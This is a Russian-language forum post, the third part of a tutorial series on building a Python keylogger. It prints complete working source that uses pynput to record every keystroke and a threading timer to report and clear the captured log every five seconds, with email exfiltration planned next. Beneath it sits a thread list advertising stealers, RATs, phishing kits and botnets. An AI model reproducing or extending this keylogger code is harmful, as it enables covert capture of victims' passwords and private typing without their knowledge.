Свой мини кейлоггер на python. Часть 3

Всем привет! Продолжение написания кейлоггера, погнали!

Сейчас у нас на руках рабочий кейлоггер, результат которого легко и понятно читать, но кое-чего не хватает! Сейчас я хочу сделать функцию отправки результата на почту. Функцию отправки логов на почту мы с вами уже реализовали в моей статье о написании стиллера паролей от wifi, поэтому сейчас нас интересует другая проблема - даже если внимательно присмотреться в код, мы не обнаружим такого места, где можно было бы написать эту функцию.

Python:
import pynput.keyboard

log = ""

def process_key_press(key):
    global log
    try:
        log = log + str(key.char)
    except:
        if key == key.space:
            log = log + ' ' 
        else:
            log = log + " " + str(key) + " " 
    print(log)


keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press)
with keyboard_listener:
    keyboard_listener.join()

И для решения этой проблемы мы воспользуемся многопоточностью или библиотекой threading. Другими словами мы будем просто разделять ход нашей программы на несколько потоков - основная программа и таймер, по истечению которого будет срабатывать функция sendmail.

Для начала импортируем нашу библиотеку в код:

Python:
import threading

Далее создаём функцию report:

Python:
def report():
    global log #объявляем глобальную переменную log
    print(log) #выводим содержимое
    log = ' ' #очищаем переменную
    timer = threading.Timer(5, report) #создаём таймер с интервалом в 5 секунд, а затем, по истечению времени он вызовит функцию которую мы укажем(report) 
    timer.start() #запускаем наш таймер

И запускаем нашу функцию report:

Python:
with keyboard_listener:
    report()
    keyboard_listener.join()

Наша рекурсивная функция почти готова, доработаем её в следующих уроках, а сейчас тесты:

P.S. Не забудьте удалить принт с функции process_key_press

Снимок экрана 2020-06-30 22:19:19.png

Теперь каждый раз наша переменная log очищается и записывается по новому. Далее мы сделаем отправку лога на почту уже в таком виде и добавим немного ООП магии в наш код, всем удачи!


Код целиком:

Python:
import pynput.keyboard
import threading

log = ""

def process_key_press(key):
    global log
    try:
        log = log + str(key.char)
    except:
        if key == key.space:
            log = log + ' ' 
        else:
            log = log + " " + str(key) + " " 

def report():
    global log 
    print(log) 
    log = ' ' 
    timer = threading.Timer(5, report) 
    timer.start() 

keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press)
with keyboard_listener:
    report()
    keyboard_listener.join()
 
Ř

ŘÃϻŻẸŜ

Как по мне, лучше бы было закинуть все уроки в одну тему.
 
Похожие темы
Anorali Свой мини кейлоггер на python. Часть 2 Вирусология 0
Anorali Свой мини кейлоггер на python Вирусология 4
S Интересно Свой мини-рат на python + стиллер хрома v80 Готовый софт 8
G Python для хакера - Часть 4. Свой мини фреймворк. Программирование 1
Support81 Перевод крупной суммы по СБП на свой же счёт будет расцениваться банком как подозрительный Новости в сети 0
Support81 Важно! Создаем свой VPN с защищенным от блокировок протоколом AmneziaWG, или WireGuard на максималках Анонимность и приватность 3
K Интересно Отработаю свой Запрос GE в ваших логах Предоставляю работу. Ищу специалиста. 1
S ⏩ Как запустить свой товарный бизнес и начать зарабатывать, кейс. Способы заработка 0
A Пишем свой RAT на Python > {Часть 1} Уязвимости и взлом 3
U Интересно PHP - Пишем свой фишинг скрипт для кражи тт аккаунтов {Уровень: EASY} Программирование 10
B Разработка ботов под любую рутину. Разгрузи свой график! Ищу работу. Предлагаю свои услуги. 1
L Чекну ваши базы, на свой банк 50/50 (Brute/Checker) Предоставляю работу. Ищу специалиста. 2
L Интересно C# - Критичный процесс (Защищаем свой вирус) Программирование 0
H Интересно Как проверить свой браузер на утечку данных Полезные статьи 0
G Интересно Создаём свой магазин в телеграмме бесплатно. Полезные статьи 0
F Поднимаем свой IoT ботнет на основе Mirai Вирусология 4
igori9891 Сливаю свой мануал) Раздачи и сливы 0
S wpXtube плагин для WP с возможностью организовать свой туб+ партнёрство Раздачи и сливы 3
L Интересно Майк Новограц: ралли биткоина только начинается, не упустите свой шанс Новости в сети 0
K Как проверить свой ПК на ратник (без антивируса) Свободное общение 4
T Как сделать свой Fishing сайт? Свободное общение 7
Л Интересно Окуплю валид DE Паблик/Приват на свой сервис Ищу работу. Предлагаю свои услуги. 3
S Пишу свой ботнет, что думаете? Программирование 3
andre5787 Как создать свой кейлоггер без знания языков программирвония? Свободное общение 5
Multi-VPN Как отключить IPv6 в Windows и не спалить свой IPv6 адрес за VPN Анонимность и приватность 0
M Защищаем свой Python скрипт за пару минут Программирование 0
W Свой шоп или работа с яндекс дзен Полезные статьи 0
АнАлЬнАя ЧуПаКаБрА INLINE ру проект для тех кто не хочет покупать дедики, домены и хостинг за свой счет Готовый софт 0
B Почему не стоит светить свой IP Анонимность и приватность 0
S Пишем свой перехватчик СМС Android Программирование 3
M С чего начать свой путь в хакинге? Фишинг, мошенничество, СИ 11
R я не могу посмотреть свой профиль Свободное общение 1
L Свой магазин цифровых товаров за 5 минут Услуги дизайнеров и веб-разработчиков. 1
G Защищаем свой сайт и контент от плагиата Уязвимости и взлом 1
K Как открыть свой обменный пункт электронных денег и криптовалют https://cloud.mail.ru/public/ADNB/6h4LdjqAB Раздачи и сливы 0
K Нейропластичность: Как перемонтировать свой мозг Раздачи и сливы 0
G Как построить свой личный ботнет и сколько это стоит Полезные статьи 0
K Wanna Builder (создай свой Wanna cry) Готовый софт 4
Traven Пишем свой стиллер на Python Программирование 5
J Монах который пропил свой феррари Способы заработка 4
АнАлЬнАя ЧуПаКаБрА Google представила свой новый квантовый процессор Bristlecone (2 фото) Новости в сети 0
Z Как создать свой сайт в Даркнете ( .onion ) Программирование 0
D Защищаем свой мобильный счёт от мошенников и операторов Полезные статьи 4
K Создаём свой ХАЙП проект Полезные статьи 11
A Delphi для начинающих – Урок 6 – Пишем свой калькулятор Программирование 0
E [PHP] Пишем свой движок 2.0 Программирование 0
B Вбив в свой мерч Способы заработка 8
Admin Скрываем свой трафик с мобильного Анонимность и приватность 0
Eteriass Мини VPN для Kali Linux/Nipe/ Фишинг, мошенничество, СИ 1
J Мини-гайд по заработку на партнерской программе! Способы заработка 3

Название темы